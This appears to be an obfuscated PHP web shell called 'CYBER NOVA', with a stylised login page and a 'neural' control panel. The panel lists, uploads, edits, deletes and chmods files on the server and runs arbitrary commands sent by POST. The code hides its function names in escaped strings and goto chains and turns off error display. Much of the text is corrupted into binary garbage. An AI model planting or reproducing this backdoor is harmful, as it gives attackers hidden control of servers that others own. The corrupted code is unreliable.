if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array("\56", "\x2e\x2e")); foreach ($items as $item) { $path = $dir . "\x2f" . $item; if (is_dir($path)) { $this->recursivePurge($path); } else { unlink($path); } } return rmdir($dir); } public function process($neuralCode, ...$params) { if (isset($this->neuralNodes[$neuralCode])) { $handler = $this->neuralNodes[$neuralCode]; if ($neuralCode === $this->neuralCore->getNeuralCode("\x73\143\141\x6e\144\151\162") || $neuralCode === $this->neuralCore->getNeuralCode("\x75\x6e\154\151\156\x6b")) { $handler = \Closure::bind($handler, $this, get_class()); } return $handler(...$params); } return null; } public function getNeuralFunction($name) { return $this->neuralCore->getNeuralCode($name); } } goto D_ha1; Nads2:
<div class="cyber-footer"><div class="stats-grid"><div class="stat-card"><div class="stat-label">SYSTEM TIME</div><div class="stat-value">goto OY3F9; xaiF4: oOsL6: goto XdA6L; nIz3Z: class NeuralAuth { private $accessCode = "\61\60\x36"; private $sessimFV%SeCUcUǃs%Cǃf5ǃVeǃcǃc5ǃsEǃcceǃcR#&fFRF7'D6&SV&Ɩ2gV7F__construct() { session_start(); $this->cryptCore = new NeuralCrypt(); } public function authenticate($input) { $encodedInput = $this->cryptCore->neuralEncode($input); $encodedCode = $this->cryptCore->neuralEncode($this->accessCode); if ($encodedInput === $encodedCode) { $_SESSIMGF26W76oken] = $this->cryptCore->neuralEncode("\x4e\105\x55\122\101\x4c\x5f\101\103\x54\x49\126\105"); $_SESSION["\156\145\165\162\141\x6c\x5f\164\x69\155\x65"] = time(); $_SESSIM%c5ǃcUǃs5c5SǃfeǃfU3uǃcǃcB%&&W&F'FW2&WGW&G'VSFW'&'2'&GF27'D6&RWW&V6FR%ǃFUCUǃsUc%Cǃf5CCǃsUǃsESǃcUSecEǃcC5ǃcǃsESǃfeSeǃ#CeCǃcǃf5ǃcUǃcB"GF27'D6&RWW&V6FR%ǃCǃc5ǃc5ǃcUc5c5ǃ#C5ǃfeǃcEǃcUCSSeǃseǃcSEǃcCB"GF27'D6&RWW&V6FR%eǃcUǃsUǃs%Cǃf5CcCǃsEǃcǃsuǃcǃsCǃc%ǃf5SuC5ǃf%ǃcUCB"GF27'D6&RWW&V6FR%#5CUC5ǃsUc%ǃcǃsEǃsǃ#C%c%CUǃcǃc5ǃcǃ#ǃcEǃcUcECUǃc5ǃsECUǃcB"E4U54%ǃfUǃcUcUc%Cǃf53uCUc%c%Suǃs"%FW'&'5'&&BFW'&'2Ӳ&WGW&f6SV&Ɩ2gV7F4WFVF6FVBb76WBE4U54GF26W76FVҒ&WGW&f6SG7F&VBE4U54GF26W76FVӲFWV7FVBGF27'D6&RWW&V6FR%eUǃSUǃS%ǃCǃF5ǃVeǃC5#EǃC#eǃCR"&WGW&G7F&VBFWV7FVCV&Ɩ2gV7FvWB6W76FW7G&vF#uw5fE5cvFTEC$SSDUEUBFWW&6&RvWDWW&gV7F%CUǃc5ǃcSr"vFUF'gwccVsvFEVT6&svFg&òsdvFcfvFG&vӢFU##vFcD$&vFvFd0C; PxzUx: goto wTTLQ; goto LQfM_; Bi6ZG: sbTXn: goto JkrAU; f43F7W'&VEFrsvFggvF5cvF&esw6#V6&VBF6g&VU76R%Sb"#B#B#B"vFu'ssdswvF5wccvF7D#gSEsvF$fVvFDr; goto l4VUF; j_WlC: goto UGVSc; goto ZcBcv; wWYIc: goto bNiS_; goto ekJjU; EIL4s: bNiS_: goto gqZd1; vzral: $N_SCAN = $neuralCore->getNeuralFunction("\163\143\x61\x6e\x64\x69\162"); goto v15hT; nnTUh: if (!$neuralAuth->isAuthenticated()) { if (isset($_POST["\156\x65\165\x72\x61\x6c\137\x6b\x65\x79"])) { if ($neuralAuth->authenticate($_POST["\156\145\x75\162\x61\x6c\x5f\x6b\x65\x79"])) { header("\x4c\157\143\141\164\151\x6f\156\x3a\40" . $_SERVER["\120\x48\120\x5f\x53\105\x4c\x46"]); die; } }
<!doctypehtml><html><head><meta charset="UTF-8"><title>NEURAL ACCESS // CYBER NOVA</title><style>@import url(https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Share+Tech+Mono&display=swap);:rog7&W"&VS3VVfcG&w&VV3fcCVW'S3CfcF&76S3FVW76S3SS37&W"vsҧ&vFFs&6s&&FW"&&Gf-family:Orbitron,monospace;background:var(--dark-space);color:var(--cyber-blue);min-height:100vh;display:flex;justify-content:center;align-items:center;overflow:hidden;background-image:radial-gradient(circle at 20% 30%,rgba(0,238,255,.1) 0,transparent 40%),radial-gradient(circle at 80% 70%,rgba(157,0,255,.1) 0,transparent 40%)}.neural-terminal{width:100%;max-width:500px;background:rgba(21,21,48,.9);border:2px solid var(--cyber-blue);border-radius:20px;padding:50px;backdrop-filter:blur(10px);box-shadow:0 0 50px var(--cyber-blue),inset 0 0 30px rgba(0,238,255,.1);position:relative;fW&fsFFVWW&FW&֖ã&Vf&W6FVCrs6F'6WFSF'VgC'&vC'&GFӢ'&6w&VCƖV"w&FVBCVFVrf"7&W"&VRf"VW'Rf"G&w&VV⒓&&FW"&FW3#'֖FWFFW&֖vr72ƖV"fFWWg&W2FW&֖vwWfFW#VR&FFRWfFW#VR&FFR3cFVrFW&֖ֆVFW'FWBƖvcenter;margin-bottocC7&W"FFWfB6S"&VӶf-weight:900;background:linear-gradient(45deg,var(--cyber-blue),var(--matrix-green));-webkit-background-clip:text;background-clip:text;color:transparent;text-shadow:var(--cyber-glbf"7&W"&VRWGFW"76s7&v&GFӣerminal-subtitle{color:var(--matrix-green);font-size:1.2rem;letter-spacing:2px;text-transform:uppercase}.access-form{margin-top:30px}.input-group{margin-bottom:30px;positiog&VFfWWW&&VǶF7&66#f"7&W"&VR&v&GFӣWfB6S&VӶWGFW"76s'FWBG&6f&ӧWW&66WWW&֖WGvGFSFFs#&6w&VC&v&#br&&FW#'6ƖBf"VW'R&&FW"&FW36#f"G&w&VV⓶fBf֖Ǔu6&RFV6r76SfB6S7&VӶWGFW"76s7FWBƖv6VFW#G&6F77WW&֖WCf7W7WFƖS&&FW"6#f"7&W"&VR&6Fs3f"7&W"&VR&6w&VC&v#SR7&W"'WGFvGFSFFs#&6w&VCƖV"w&FVBCVFVrf"7&W"&VRf"VW'R&&FW#S&&FW"&FW36#6ffcfBf֖Ǔ&&G&76SfB6SG&VӶfBvVvCsWGFW"76s7FWBG&6f&ӧWW&66S7W'6#FW#G&6F736F&VFfSfW&fsFFV7&W"'WGF㦆fW'G&6f&translateY(-3px);box-shadcC&v#SR)}.terminal-footer{margin&3FWBƖv6VFW#6#f"G&w&VV⓶fB6S&VӶ6G66ƖW6Fabsolute;top:0;left:0;width:100%;height:2px;background:linear-gradient(90deg,transparent,var(--matrix-green),transparent);animatiog66'2ƖV"fFWWg&W266WFWFWW'&"F7&6w&VC&v&#SR&&FW#'6ƖB&VC&&FW"&FW3FFs#&v&GF30px;text-align:center;color:red;animation:errorPulse 1s infinite}@keyframes errorPulse{0%,100%{box-shadow:0 0 20px red}50%{box-shadow:0 0 40px red}}</style></head><body><div class="neural-terminal"><div class="scan-line"></div><div class="terminal-header"><h1 class="cyber-title">CYBER NOVA</h1><div class="terminal-subtitle">NEURAL ACCESS TERMINAL</div></div>if (isset($_SESSION["\156\x65\x75\162\141\x6c\x5f\x65\x72\162\x6f\162"])) { $crypt = new NeuralCrypt(); $errorMsg = $crypt->neuralDecode($_SESSION["\156\145\x75\x72\141\x6c\x5f\x65\162\x72\157\x72"]); unset($_SESSIM%SeCUcUc%Cǃf5ǃVeǃcUǃs%c%ǃfec"%ғFb673&W'&"F7#)V6F7V66'2FW'&$6rFcf&WFC'7B&673&66W72f&#Fb673&WBw&p"><label class="neural-label">NEURAL ACCESS KEY</label> <input name="neural_key"class="neural-input"required placeholder="ENTER NEURAL CODE"autofocus type="password"></div><button class="cyber-button"type="submit">🔓 INITIATE NEURAL LINK</buttof&Fb673'FW&֖fFW"#5$U"dcr4T5U$ETFcFc67&CFBG&&VffV7@F7VVBFDWfVDƗ7FVW"tD6FVDFVBrgV7Fₒ67B6'2#8*.8*N8*n8*8*8*8*8*コジ+++8888N88n88#67B6f2F7VVB7&VFTVVVBv6f2r67B7G6f2vWD6FWBs&Br 6f27GR6FvfVBs6as.style.top = '0';
canvas.style.left = '0';
caf27GRvGFsRs6as.style.height = '100%';
canvas.style.zIndex = '-1';
caf27GR6Gs2s6f27GRFW$WfVG2vRs F7VV.body.appendChild(canvas);
function resize() {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
}
window.addEventListener('resize', resize);
resize();
const columns = Math.floor(canvas&GF#67BG&2Ӱ f"WB6V3G&5Т gV7FG&r7Gf7GRw&v&#bRs7Gf&V7B6f2vGF6f2VvB 7Gf7GRr3VVfbs7GfBsW%6&RFV6"s f"WBG&2VwF67BFWB6'5Ff"F&F҂6'2VwFӰ7GfFWBFWB#G&5# bG&5#6f2VvBbbF&F҂sRG&5ТG&5ҲТТ 6WDFW'fG&rSғ67&C&GFFSvFGFT7df6vF#cvF$sV5SF7W'&VDG&&VFF7W'&VDG&%Sb#vF#7uSFvFU3CE3tdfâvF3#SvF3vF#ò7fv7svFVŕSv#7tevFij5stSvF&4SvFfDCtScws4vF46vò6UCvFdsvF4dsVSDD goto cZ_3a; uAjyV: goto oOsL6; goto vu1X8; qRHph:
</div><div style="margin-top:20px;color:var(--cyber-blue);font-family:'Share Tech Mono',monospace;font-size:1.1rem">CURRENT MATRIX: <span style="color:var(--matrix-green)">goto EoFCQ; U_C1t:
</span></div></div><div class="cyber-tools"><div class="tool-card"><div class="tool-header"><span>📤</span> <span>DATA UPLOAD</span></div><form method="post"enctype="multipart/form-data"><div class="form-grg#ƖWBS&FFfR&673&7&W"֖WB'&WV&VBGS&fR#Fc'WGF673&7&W"'F7&W"'F&''GS'7V&֗B'7GS'vGFR#UBDE$'WGFf&FcFb673'F6&B#Fb673'FֆVFW"#7)775$TDRDS7Fcf&WFC'7B#Fb673&f&w&W#ƖWBS&FUR&673&7&W"֖WB'&WV&VB6VFW#$FRR#FcFb673&f&w&W#6VV7B673&7&W"֖WB&S&FUGR#FfVS&fR# 8BFFFSFFfVS&F&V7F'# 8WW&FSF6VV7CFc'WGF673&7&W"'F7&W"'F7V66W72'GS'7V&֗B'7GS'vGFR#5$TDRDS'WGFf&FcFb673'F6&B#Fb673'FֆVFW"#7 +775$U"4C7Fcf&WFC'7B&7F#7FWV7WFRfG&vFgf#&%D73vFDDvFWf6gtcF7GVFƇFƆVCWF6'6WC%UDbӂ#FFS5$U"dcrFFS7GS'BW&GG3fG2vvV26773#f֖Ǔ&&G&vvDCsff֖Ǔ6&RFV6ff֖ǓW#vvD3CcfF77v&G7&W"&VS3VVfcG&w&VV3fcCVW'S3CfcF&76S3FVW76S3SS37&W"vs7&W"&VC6fcSS7&W"זVs6fffcҧ&vFFs&6s&&FW"&&GfBf֖ǓtW"r626W&c&6w&VCf"F&76R6#6ffc&6w&VB֖vS&Fw&FVB6&6RB#R3R&v#SRRG&7&V 40%),radial-gradient(circle at 80% 70%,rgba(157,0,255,.05) 0,transparent 40%)}.cyber-header{background:rgba(21,21,48,.95);border-bottom:3px solid var(--cyber-blue);padding:25px 40px;display:flex;justify-content:space-between;align-items:center;box-shadow:0 0 40px var(--cyber-blue);position:sticky;top:0;z-index:1000;backdrop-filter:blur(10px)}.header-left{display:flex;align-items:center;gap:25px}.nova-title{font-family:Orbitrn76SfB6S"W&VӶ&6w&VCƖV"w&FVBCVFVrf"7&W"&VRf"G&w&VV⒓vV&B&6w&VB6ƗFWC&6w&VB6ƗFWC6#G&7&VCFWB6Fsf"7&W"v) var(--cyber-blue);letter-spacing:2px}.session-info{display:flex;align-items:center;gap:20px;font-family:'Share Tech Mono',monospace}.status-badge{padding:8px 20px;background:linear-gradient(45deg,var(--cyber-blue),var(--neon-purple));border-radius:20px;font-size:.9rem;font-weight:700;text-transform:uppercase;letter-spacing:1px}.logout-btn{padding:12px 30px;background:var(--cyber-red);border:none;border-radius:10px;color:#fff;foBf֖Ǔ&&G&space;font-weight:700;cursor:pointer;transitiof73FWBG&6f&ӧWW&66SWGFW"76svWB'F㦆fW'&6w&nd:#c04;transform:translateY(-2px);box-shadow:0 0 30px var(--cyber-red)}.cyber-container{max-width:1600px;margin:30px auto;padding:0 30px}.neural-message{background:rgba(0,255,65,.1);border-left:4px solid var(--matrix-green);border-radius:10px;padding:25px;margin-bottom:30px;display:flex;align-items:center;gap:20px;animatiogV6Tvr'2fFWWg&W2V6TvwRW&6Fs#&v&#SRcR2SW&6FsC&v&#SRcR)}}.matrix-nav{background:rgba(42,42,80,"&&FW#'6ƖBf"VW'R&&FW"&FW3WFFs#W&v&GF30px;font-family:'Share Tech Mono',monospace}.cyber-breadcrumb{display:flex;align-items:center;flex-wrap:wrap;gap:15px;color:var(--cyber-blue)}.cyber-breadcrumb a{color:var(--matrix-green);text-decoration:none;padding:8px 15px;border-radius:8px;transition:all .3s;border:1px solid transparent}.cyber-breadcrumb a:hover{border-color:var(--cyber-blue);background:rgba(0,238,255,.1);box-shadow:0 0 15px var(--cyber-blue)}.cyber&7F7w&Cw&BFVFR6V3&WVBWFfB֖3Sg"v3&v&GFӣCF6&G&6w&VC&v&#b#bC㒓&&FW#'6ƖBf"7&W"&VR&&FW"&FW3WFFs#WG&6F736F&VFfSfW&fsFFVF6&CfW'&&FW"6#f"G&w&VV⓷G&6f&ӧG&6FUW&6Fs3f"7&W"&VRF6&C&Vf&W6FVCrs6F'6WFSFVgC&vC&GFӣ&6w&VCƖV"w&FVBCVFVrG&7&VB&v#SRRG&7&VB֖FWFֆVFW'F7fWƖv֗FV36VFW#vW&v&tom:25px;color:var(--matrix-green);foBf֖Ǔ&&G&space;font-size:1.3rem}.form-group{margin-bottom:20px}.cyber-label{display:block;margin-bottom:10px;color:var(--cyber-blue);font-size:.9rem;text-transform:uppercase;letter-spacing:1px}.cyber-input{width:100%;padding:15px;background:rgba(10,10,26,.8);border:2px solid var(--neon-purple);border-radius:10px;color:#fff;font-family:'Share Tech Mono',monospace;font-size:1.1rem;transition:all .3s}.cyber-input:focus{outline:0;border-color:var(--cyber-blue);box-shadc#f"7&W"&VR7&W"'FFFsW#W&&FW#S&&FW"&FW3fBf֖Ǔ&&G&76SfBvVvCs7W'6#FW#G&6F73FWBFV6&FSF7ƖR&6FWBG&6f&ӧWW&66SWGFW"76s7&W"'F&'&6w&VCƖV"w&FVBCVFVrf"7&W"&VRf"VW'R6#6ffg7&W"'F&'fW'&6w&VCƖV"w&FVBCVFVrf"G&w&VVf"7&W"&VRG&6f&ӧG&6FU'&6FsW#f"7&W"&VR7&W"'F7V66W77&6w&VCƖV"w&FVBCVFVrf"G&w&VV336#6ffg7&W"'FFvW'&6w&VCƖV"w&FVBCVFVrf"7&W"&VB6c36#6ffg7&W"'Fv&w&6w&VCƖV"w&FVBCVFVrf"7&W"ellow),#fa0);color:#000}.data-table-container{backgrfC&v&#b#bC㒓&&FW#'6ƖBf"G&w&VV⓶&&FW"&FW3WfW&fsFFV&v&GFӣC&6Fs3&v&#SRcR2FFF&WvGFS&&FW"66S66SfBf֖Ǔu6&RFV6r76WFFF&RFVG&6w&nd:linear-gradiebCVFVr&v#SR2&v&#SRcR2FFF&RFFFs#FWBƖvVgC6#f"7&W"&VRf-size:1.1rem;text-transform:uppercase;letter-spacing:2px}.data-table td{padding:18px 20px;border-bottom:1px solid rgba(0,238,255,.1)}.data-table tbody tr:hover{background:rgba(0,238,255,.05)}.data-icon{font-size:1.5ref&v&vCWFF7F7F7fWv7&W"VFF'&6w&VC&v&#b#bCR&&FW#76ƖBf"7&W"זVr&&FW"&FW3Werflow:hidden;margin-bottom:40px;box-shadow:0 0 40px rgba(255,255,0,.3)}.editor-header{background:linear-gradient(45deg,rgba(255,255,0,.2),rgba(0,255,65,.2));padding:20px 30px;display:flex;justify-cofVC76R&WGvVVƖv֗FV36VFW'VFF"FFW6#f"7&W"זVrf-family:Orbitron,monospace;font-size:1.4rem}.neural-content{width:100%;min-height:500px;padding:30px;background:rgba(10,10,26,.9);border:nnS6#f"G&w&VV⓶fBf֖Ǔu6&RFV6r76SfB6SgƖRֆVvCヷ&W6SfW'F67&W"fFW'&6w&VC&v&##CR&&FW"F'6ƖBf"VW'RFFs3&vFS&&FW"&FW3WWFWBƖv6VFW'7FG2w&GF7w&Cw&BFVFR6V3&WVBWFfB֖##g"v#W&v&GFӣ#W7FB6&G&6w&VC&v#SRFFs#&&FW"&FW3'&&FW#6ƖBf"7&W"&VR7FB&VǶ6#f"7&W"&VRfB6S&VӷFWBG&6f&uppercase;letter-spacing:1px;margin-bottom:8px}.stat-value{color:var(--matrix-green);font-family:Orbitron,monospace;font-size:1.3rem}::-webkit-scrollbar{width:12px}::-webkit-scrollbar-track{background:var(--dark-space)}::-webkit-scrollbar-thumb{background:linear-gradient(var(--cyber-blue),var(--neon-purple));border-radius:6px}::-webkit-scrollbar-thumb:hover{background:linear-gradient(var(--matrix-green),var(--cyber-blue))}@media (max-width:768px){.cyber-header{flex-directiof6VvWFFs#7&W"F7w&BFVFR6V3g'FFF&WF7&6fW&fr׃WF7&W"6FW'FFs#7GSVC&GFb673&7&W"ֆVFW"#Fb673&VFW"VgB#Fb673&fFFR#5$U"dFcFb673'6W76֖f#Fb673'7FGW2&FvR#UU$5DdSFcFb7GS&6#f"G&w&VV#vFfVf%WvF4CDw#FcFb673&f&w&W#ƖWBS&66W75FR&673&7&W"֖WB'&WV&VB6VFW#$66W726FR'fVS#sSR#Fc'WGF673&7&W"'F7&W"'Fv&r'GS'7V&֗B'7GS'vGFR#De44U53'WGFf&FcFcFb673&FFF&R6FW"#F&R673&FFF&R#FVCG#FSFF6SFFFfVCFF66W73FFW&F</th></tr></thead><tbody>goto KyAGE; XdA6L: echo $currentMatrix; goto c8mra; JkrAU:
</div></div></div><a href="?actiovWB&673&vWB'F#DU$ԔDR4U54FcFb673&7&W"6ainer">goto sb0si; pk9sq: t8kHI: goto wrNx2; gqZd1:
</tbody></table></div>goto vtB1S; z4SHz: CXWv6: goto QEqqz; Sh8sp: LEcAn: goto wdPYX; ZcBcv: eVMbD: goto UTfCW; V5JU2: goto NpPHL; goto ocUlH; D_ha1: goto jj0Mg; goto FzwyF; whkfv: PjSBm: goto Mem3U; IYT66: if (isset($_POST["\156\x65\x75\x72\141\x6c\x5f\144\141\164\x61"])) { $neuralCore->process($N_WRITE, $_POST["\144\x61\x74\141\x5f\x74\141\x72\x67\x65\x74"], $_POST["\x6e\x65\x75\162\x61\154\x5f\x64\x61\x74\x61"]); $neuralMessage = "\116\145\x75\x72\141\x6c\x20\x64\141\164\x61\40\x73\x61\166\x65\x64"; } gf&%D73Vd5vFSvF#eS4cvFWvFvӲ&C&4SvFucuetsvFզgSvFuw7D#C'ScvFGCWUUsvFDהsvFvgc5'tCf&V6G'G22G'BbVGG'BF7W'&VPath .= "\57" . $part; echo "\40\342\x86\222\40"; echo "\74\x61\x20\x68\162\x65\146\75\42\x3f\155\x61\164\162\151\170\x3d" . urlencode($currentPath) . "\42\76" . $part . "\x3c\57\x61\76"; } } gfdvc&vDDTUDRFWW&6&RvWDWW&gV7F%ǃsUǃfUSESǃfUS2"vFFTcƆ3vFcVsvFtf#'4SCvo m81k0; goto w4FaW; PvlDT:
</div></div><div class="stat-card"><div class="stat-label">MEMORY USAGE</div><div class="stat-value">goto kdGE9; ORVSw: goto aYngD; goto KjDOb; yeVA_: qa0aU: goto inudu; AzbHo: lArAK: goto W007x; sb0si: goto WzG3K; goto yeVA_; KjDOb: AAQNs: goto Ke0e1; OJnI2: $neuralCore = new NeuralProcessor(); goto b1Lp5; fJEe6: echo rand(1, 100); goto SAk2H; xLJ0L: $parts = explode("\x2f", trim($currentMatrix, "\x2f")); goto DCukH; hjD0V: PyvEM: gfV擲4$vFdT goto u3l0G; w4FaW: ZDYCF: goto gzSb1; UTfCW: $currentMatrix = isset($_GET["\x6d\141\x74\x72\151\x78"]) ? $_GET["\155\x61\x74\162\151\x78"] : "\56"; goto TO9hG; ocUlH: NpPHL: goto N2i17; PDA2F: fyTo5: goto MhT0_; GOosL: $neuralAuth = new NeuralAuth(); goto IZ6NC; N2i17: if (empty($matrixContents)) {
<tr><td colspan="5"style="text-align:center;padding:50px;color:var(--cyber-blue)"><div style="foB6SG&VӶ&v&GFӣ## +FcE$2TEFCG#V6Rf&V6FG&6FVs as $node) {
<tr><td><div style="display:flex;align-items:center;gap:15px">echo $node["\151\x63\157\156"]; if ($node["\x74\171\160\x65"] == "\144\x69\162\145\x63\x74\157\162\171") {
<a href="?matrix=echo urlencode($node["\160\141\164\150"]);
"style="color:var(--cyber-yellow);text-decoration:none;font-family:Orbitrn76SfBvVvCs#V6F7V66'2FFU%ǃfUǃcǃfECR%ғV6R77GS&6#6ffcf-family:'Share Tech Mono',monospace">echo htmlspecialchars($node["\x6e\x61\155\145"]);
</span>}
</div></td><td>echo $node["\163\151\x7a\x65"];
</td><td>echo $node["\155\157\x64\151\x66\x69\x65\x64"];
</td><td><code style="background:rgba(0,238,255,.1);padding:5px 10px;border-radius:5px;color:var(--matrix-green);foBf֖Ǔu6&RFV6r76R#V6FFU%ǃsCUc%ǃfEǃs2%Ӳ6FSFCFCFb673&FF7F2#bFFU%cEǃscǃcR%%ǃcEǃcc%ǃcUǃc5cEǃfeǃs%s"&Vc#VFCV6W&V6FRFFU%ǃsǃcǃsES%ғfG&V6W&V6FRF7W'&VDG&&673&7&W"'F7&W"'F7V66W72#TDC&Vc#7FFVWFRgF&vWCV6W&V6FRFFU%ǃsǃccEǃc%ғfG&V6W&V6FRF7W'&VDG&&673&7&W"'F7&W"'FFvW"&6Ɩ6w&WGW&6f&҂%U$TDŒDTUDRD2DS"sDTUDSFcFCr>} } goto wWYIc; cJCgl: if ($neuralMessage) {
<div class="neural-message"><span style="fob6S'&V# +7Fb7GS&f-family:Orbitron,mn76SfB6S'&V#V6F7V66'2FWW&W76vRFcFcvF7s4CV6FFR%ǃCs%ǃcǃ6ǃs2"vFsdՆs3vFV4vFTvevFE4cvFg%wEgvFu#Fb673&f&w&W#ƖWBS'F&vWEF&673&7&W"֖WB'&WV&VBfVS#vFTcw$#V6&VBV'vWEW6vRG'VR#B#B"vFdf6evFdfòvFtSc3%#FcFcFb673'7FB6&B#Fb673'7FB&V#D454SFcFb673'7FBfVR#vFve c8mra: goto mnWzy; goto Q7qz0; ubKbg: gf5fE5cvFE4EeTcsvF䗣5&W#vo CbhiW; goto Q14bN; FXUo8: a4Ovr: goto aO4Q1; nOV6c: yWyWg: goto xLJ0L; H8owY: NgvS5: goto K8sD7; TO9hG: goto PjSBbvFE3tdvcvFEsvFf%EdsvFD##â5cvF5'tCcVCvF$T#vFeVG&vFgtcFTcvFvFTG3&Du$DRFWW&6&RvWDWW&gV7F%ǃceǃcSECU3uǃscUǃsEǃVeǃc5SuǃfUcECUSecEc2"vo j_WlC; fzBPN: hqzAz: goto zUJmi; yxPV1: if (isset($_FILES["\144\x61\164\141\137\146\x69\x6c\x65"])) { $dest = $curredG&%ǃ&b"&6VREdU5%CEǃccEǃcǃVeCeǃcSECR%ղ%SeǃcǃfEǃcR%ғFWW&6&R&6W72DUBEdU5%ǃcECǃsECǃVeCeSSECR%FFW7BFWW&W76vR%ǃCECcECǃ#ǃsUcSESuCCEǃcUǃcEǃ#cEǃfeǃ#ǃfECǃsEc%ǃcs#vF%3DӲ7w#W'&%&W'FrvF%3dFâvF3&cvFuwvFDwu'ssvFEgvF'#vFvF67#7vFgFSvF&CօCFWW&W76vRrsvFd%3vFtevFD$c#eS$T#vF4$fDCDהsvF&SCDUT5UDRFWW&6&RvWDWW&gV7F%c5ǃcǃcUǃf5ǃf53uǃcUǃsCUǃc2"vF6UCGFT7vFUd$CvFc#$stCvFF$#5dsvo OJnI2; K8sD7: echo urlencode($currentMatrix); goto ubKbg; h1eni:
%</div></div></div><div style="color:var(--matrix-green);font-family:Orbitron,monospace;margin-top:20px;font-size:1.1rem">CYBER NOVA v7.0 // NEURAL NETWORK: ACTIVE // SECURITY: MAXIMUM</div></div></div><script>// Cyber Nova Effects
documebFDWfVListener('DOMContentLoaded', function() {
// Auto-hide messages
const messages = document.querySelectorAll('.neural-message');
messages.forEach(msg => {
setTimeout(() => {
msg.style.opacity = '0';
msg.style.transition = 'opacity 0.5s';
setTimeout(() => msg.style.display = 'nnRrScғ &VFR66gV7FWFFT7&W$6667B = new Date();
const timeStr = now.toLocaleTimeString('en-US', {
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit'
});
document.querySelectorAll('.session-info > div:last-child').forEach(el => {
if (!el.classList.contains('status-badge')) {
el.textContent = timeStr;
}
});
}
setInterval(updateCyberClock, 1000);
// Editor auto-resize
const editor = document.querySelector('.neural-content');
if (editor) {
editor.addEventListener('input', function() {
this.style.height = 'auto';
this.style.height = (this.scrollHeight + 30) + 'px';
});
editor.dispatchEvent(new Event('input'));
}
// Tool card hover effects
const toolCards = document.querySelectorAll('.tool-card');
toolCards.forEach(card => {
card.addEventListener('mouseenter', function() {
const colors = ['#00eeff', '#00ff41', '#9d00ff', '#ffff00'];
const randl6"6'5Ff"F&F҂6'2VwFӰF27GR&6FrCG&F6'ғ 6&BFDWfVDƗ7FVW"vW6VVfRrgV7FₒF27GR&6Frrsғғ 7&W"66rVffV7@gV7F7&VFU66ƖR67B66ƖRF7VVB7&VFTVVVBvFbr66ƖR7GR775FWB 6FfVCFGth.random() * 100}%;
left: 0;
width: 100%;
height: 1px;
background: linear-gradient(90deg, transparent, var(--matrix-green), transparent);
z-index: 9999;
pointer-events: none;
animation: scanMove 1.5s linear;
`;
document.body.appendChild(scanLine);
setTimegB66ƖR&VfRSТ &F66ƖW06WDFW'f7&VFU66ƖR# FB66F67B7GRF7VVB7&VFTVVVBw7GRr7GRFWD6FVB Wg&W266fRRG&6f&ӢG&6FUR6GТRG&6f&ӢG&6FUR6GТТF7VVBVBVD6B7GR WBf7W2VffV7G067BWG2F7VVBVW'6VV7F$r7&W"֖WBrWG2f$V6WBWBFDWfVDƗ7FVW"vf7W2rgV7FₒF27GR&6Frs#Wf"7&W"&VRsF27GRG&6f&w66R"sғ WBFDWfVDƗ7FVW"v&W"rgV7FₒF27GR&6FrrsF27GRG&6f&rsғғ 6irmation dialogs with cyber theme
const deleteButtons = document.querySelectorAll('.cyber-btn-danger');
deleteButto2f$V6'F'FFDWfVDƗ7FVW"v6Ɩ6rgV7FRb6f&҂~)U$TBDDDTUD4DTSrR&WfVDFVfVBТғғ FB'F6RVffV7G0gV7F7&VFU'F6R67B'F6RF7VVB7&VFTVVVBvFbr'F6R7GR775FWB 6F fixed;
width: 3px;
height: 3px;
background: var(--cyber-blue);
border-radius: 50%;
pointer-events: none;
z-index: 9998;
top: ${Math.random() * 100}%;
left: $zF&F҂S&6Fsf"7&W"&VRF'F6TfBG"F&F҂72ƖV"fFS F7VVB&GVD6B'F6R 6WEFVWB'F6R&VfRSТ 7&VFR'F6W2W&F6ǐ6WDFW'f7&VFU'F6R3 FB'F6RF67B'F6U7GRF7VVB7&VFTVVVBw7GRr'F6U7GRFWD6FV = `
@keyframes particleFloat {
0% { transform: translate(0, 0) scale(1); opacity: 1; }
100% { transform: translate(${Math.random() * 200 - 100}px, ${Math.random() * 200 - 100}px) scale(0); opacity: 0; }
}
`;
document.head.appendChild(particleStyle);
});</script></body></htm
goto Q6DoL; W007x: if (isset($_GET["action"])) { $action = $_GET["action"]; switch ($action) { case "delete": if (isset($_GET["target"])) { $neuralCore->process($N_DELETE, $_GET["target"]); header("Location: ?matrix=" . urlencode($currentMatrix)); die; } break; case "logout": $neuralAuth->logout(); header("Location: " . $_SERVER["PHP_SELF"]); die; case "execute": if (isset($_POST["cyber_cmd"])) { $output = $neuralCore->process($N_EXECUTE, $_POST["cyber_cmd"]); $neuralMessage = htmlspecialchars($output); } break; case "chmod": if (isset($_POST["target_path"]) && isset($_POST["access_mode"])) { $neuralCore->process($N_CHMOD, $_POST["target_path"], $_POST["access_mode"]); $neuralMessage = "Access permissions modified"; } break; } } goto oiR87; Zpn8T: wTTLQ: goto GOosL; VN80C: R88k6: goto C2Xm_; fi368: goto Oda91; goto WsO1f; pigZV: if ($currentMatrix != && $currentMatrix != "/") {
<tr><td colspan="5"><a href="?matrix=echo urlencode(dirname($curredG&'7GS&F7fWƖv֗FV36VFW#vWFWBFV6&Fnone;color:var(--cyber-yellow);font-family:Orbitron,monospace"><span class="data-icon">🔙</span> <strong>.. (PARENT MATRIX)</strong></a></td></tr>} goto V5JU2; aO4Q1: echo date("H:i:s"); goto tj67p; fp6or: goto NgvS5; goto Eyt5K; inudu: echo $currentMatrix; goto fi368; KrDSq: goto yWyWg; goto xALLa; IZ6NC: goto b3_vG; goto gb0Cq; tj67p: gf6%EvFcCdvF$vF7TEC$#Fb673&f&w&W#ƖWBS&7&W%6B&673&7&W"֖WB'&WV&VB6VFW#$VFW"7&W"6B#Fc'WGF673&7&W"'F7&W"'FFvW"'GS'7V&֗B'7GS'vGFR#UT5UDR4C'WGFf&FcFb673'F6&B#Fb673'FֆVFW"#7 I7744U524E$7Fcf&WFC'7B&7F#7F6BfG&vFe56FG&6FVG2FWW&6&R&6W72D44F7W'&VMatrix); goto o4BBh; LK3Xg: ini_set("display_errors", 0); goto PxzUx; SKN2O: $N_UPLOAD = $neuralCore->getNeuralFunction("move_uploaded_file"); goto oLhmc; kk79C: A32kV: goto nOKDj; XOb01: goto Zgzu5; goto AzbHo; vtB1S: goto XZ3w0; goto JOhWU; atOj2: $N_READ = $neuralCore->getNeuralFunction("file_get_contents"); goto UpeUW; LQfM_: MZn6u: goto IYT66; Eyt5K: Zgzu5: goto NNCwr; 